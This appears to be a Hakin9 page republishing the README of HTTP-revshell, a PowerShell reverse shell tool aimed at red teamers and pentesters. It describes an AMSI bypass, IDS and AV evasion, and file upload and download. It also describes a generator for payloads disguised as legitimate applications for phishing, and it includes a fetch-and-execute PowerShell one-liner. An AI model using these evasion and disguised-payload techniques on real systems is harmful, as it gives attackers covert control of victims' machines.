HTTP-revshell - Powershell reverse shell using HTTP/S protocol with AMSI bypass and Proxy Aware


HTTP-revshell is a tool focused on red team exercises and pentesters. This tool provides a reverse connection through the HTTP/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS, and AV.

Help (unisession server)

Server usage:

usage: [-h] [--ssl] [--autocomplete] host port

Process some integers.

positional arguments:
  host            Listen Host
  port            Listen Port

optional arguments:
  -h, --help      show this help message and exit
  --ssl           Send traffic over ssl
  --autocomplete  Autocomplete powershell functions

Help Invoke-WebRev.ps1 (client)

Client usage:

Import-Module .\Invoke-WebRev.ps1
Invoke-WebRev -ip IP -port PORT [-ssl]


git clone
cd HTTP-revshell/
pip3 install -r requirements.txt

Quick start (multisession server)

This server allows multiple connection of clients.
There is a menu with three basic commands: sessions, interact and exit
     - sessions --> show currently active sessions
     - interact --> interacts with a session (Example: interact <session_id>)
     - exit --> close the application

IMPORTANT: To change the session press CTRL+d to exit the current session without closing it.


  • SSL
  • Proxy Aware
  • Upload Function
  • Download Function
  • Error Control
  • AMSI bypass
  • Multiple sessions [only]
  • Autocomplete PowerShell functions (optional) [only]

Extra functions usage


  • upload /src/path/file C:\dest\path\file


  • download C:\src\path\file /dst/path/file

Help Revshell-Generator.ps1 (Automatic Payload Generator)

This script allows you to create an executable file with the payload necessary to use HTTP-revshell, you just need to follow the instructions on the screen to generate it. There are 6 predefined templates and a customizable one, with the data that you like.

The payloads generated by the tool, incorporate the legitimate icon of the application, as well as the product and copyright information of the original application. In addition, each of them opens the original application before establishing a connection with the server, pretending to be a legitimate application. This can be used for phishing or Red Team exercises.

Payload Generator usage:

powershell -ep bypass "iwr -useb | iex"

IMPORTANT: All fields in predefined templates are auto-complete by pressing the enter key.


Disclaimer & License

This script is licensed under LGPLv3+. Direct link to License.

HTTP-revshell should be used for authorized penetration testing and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission.

September 15, 2020


Hakin9 TEAM
Hakin9 is a monthly magazine dedicated to hacking and cybersecurity. In every edition, we try to focus on different approaches to show various techniques - defensive and offensive. This knowledge will help you understand how most popular attacks are performed and how to protect your data from them. Our tutorials, case studies and online courses will prepare you for the upcoming, potential threats in the cyber security world. We collaborate with many individuals and universities and public institutions, but also with companies such as Xento Systems, CATO Networks, EY, CIPHER Intelligence LAB, redBorder, TSG, and others.
Notify of

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Inline Feedbacks
View all comments
© HAKIN9 MEDIA SP. Z O.O. SP. K. 2023